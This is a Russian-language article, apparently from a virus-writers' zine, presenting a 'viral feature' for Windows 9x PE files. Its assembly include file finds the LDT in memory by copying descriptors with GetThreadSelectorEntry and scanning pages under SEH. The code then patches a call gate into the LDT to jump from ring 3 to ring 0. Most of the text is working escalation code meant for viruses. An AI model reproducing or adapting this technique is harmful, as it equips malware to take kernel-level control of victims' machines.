### Поиск LDT в памяти

Итак, GreenMonsterом реализована очередная вирусная фича -- поиск LDT в памяти.

Здесь мы будем говорить о применении подобной техники к работе из PE файлов.

Из PE файлов желательно вызывать только win32 api-функции. Поэтому мы не будем делать никаких поисков по алиасу: ведь для того, чтобы обращаться к LDT через селектор (а не линейный 0-based flat-адрес), мы должны изменить права этого селектора. Таких winapi-функций нет. Конечно, можно вызвать INT 31 (DPMI-функции) таким образом:

    int31:                  push    ecx
                            push    eax
                            push    0002A0029h      ; INT 31 (DPMI services)
                            call    kernel@ord0

Но это было бы слишком просто. Поэтому мы будем искать LDT в памяти.

Что искать? 8-байтовые дескрипторы для известных нам селекторов легко получаемы функцией GetThreadSelectorEntry. Вызывается оно так:

                            call    GetCurrentThread    ; получить хендл нити

                            push    offset cs_descr     ; поинтер на дескриптор
                            push    cs                  ; селектор
                            push    eax                 ; хендл нити
                            callW   GetThreadSelectorEntry
                            or      eax, eax
                            jz      __error

Параметры, проверяемые в этой функции: валидность нити и указателя на результат, а также граница LDT и бит 2 в селекторе. Это значит, что можно получить любой дескриптор из LDT, если подавать (селектор = номер * 8 + 4). Таким образом мы получаем некторое количество дескрипторов, посредством чего создаем у себя в памяти копию LDT. А далее, полагая, что LDT начинается на границе 4k-байтной страницы, используя SEH и сравнивая страницы памяти, перебираем все возможные адреса.

Выглядит это так:

    ; -- [FIND_LDT.INC] -------------------------------------------------------

    LDT_MIN_ADDR            equ     080000000h
    LDT_MAX_ADDR            equ     0FFFFF000h
    LDT_SCANSIZE            equ     4096

                            .data

    ldtpage                 db      LDT_SCANSIZE dup (?)

                            .code

    ; subroutine: find_ldt_prepare
    ; action:     fill internal variables
    ; output:     CF=0 all ok
    ;             CF=1 unknown error

    find_ldt_prepare:       pusha

                            xor     esi, esi

    __cycle:                lea     eax, ldtpage[esi]
                            push    eax
                            lea     eax, [esi+4]  ; bit2=LDT
                            push    eax
                            callW   GetCurrentThread
                            push    eax
                            callW   GetThreadSelectorEntry
                            or      eax, eax
                            jz      __error

                            add     esi, 8
                            cmp     esi, LDT_SCANSIZE
                            jb      __cycle

                            clc

    __exit:                 popa
                            ret

    __error:                stc
                            jmp     __exit

    ; subroutine: find_ldt_scanmemory
    ; input:      none
    ; output:     CF=0   EBX=LDT base
    ;             CF=1   not found

    find_ldt_scanmemory:    mov     ebx, LDT_MIN_ADDR

    __cycle:                call    find_ldt_testpage
                            jnc     __found

                            add     ebx, 4096
                            cmp     ebx, LDT_MAX_ADDR
                            jb      __cycle

                            stc
                            ret

    __found:                clc
                            ret

    ; subroutine: find_ldt_testpage
    ; input:      EBX=any VA
    ; output:     CF=0  address contains LDT
    ;             CF=1  no ldt found or an error occured while accessing memory

    find_ldt_testpage:      pusha

                            call    __seh_init
                            mov     esp, [esp+8]
    __error:                stc
                            jmp     __seh_exit
    __seh_init:             push    dword ptr fs:[0]
                            mov     fs:[0], esp

                            or      byte ptr [ebx], 0       ; must be writeable

                            lea     esi, ldtpage
                            mov     edi, ebx
                            mov     ecx, LDT_SCANSIZE/4
                            cld
                            rep     cmpsd
                            jne     __error

                            clc

    __seh_exit:             pop     dword ptr fs:[0]
                            pop     eax

                            popa
                            ret

    ; -- [FIND_LDT.INC] -------------------------------------------------------

Далее, разумеется, идет переход в ring-0:

                            call    find_ldt_prepare
                            jc      __error
                            call    find_ldt_scanmemory
                            jc      __error

    CGSEL                   equ     0*8

                            fild    qword ptr [ebx+CGSEL]

                            push    offset ring0
                            pop     [ebx].word ptr 0
                            pop     [ebx].word ptr 6
                            mov     [ebx+2], 0EC000028h

                            db      9Ah
                            dd      ?
                            dw      CGSEL+111b      ; 111b=LDT+Ring3

                            fistp   qword ptr [ebx+CGSEL]

                            ...

    ring0:                  int 3
                            retf

см. также пример подключения find_ldt.inc.

(x)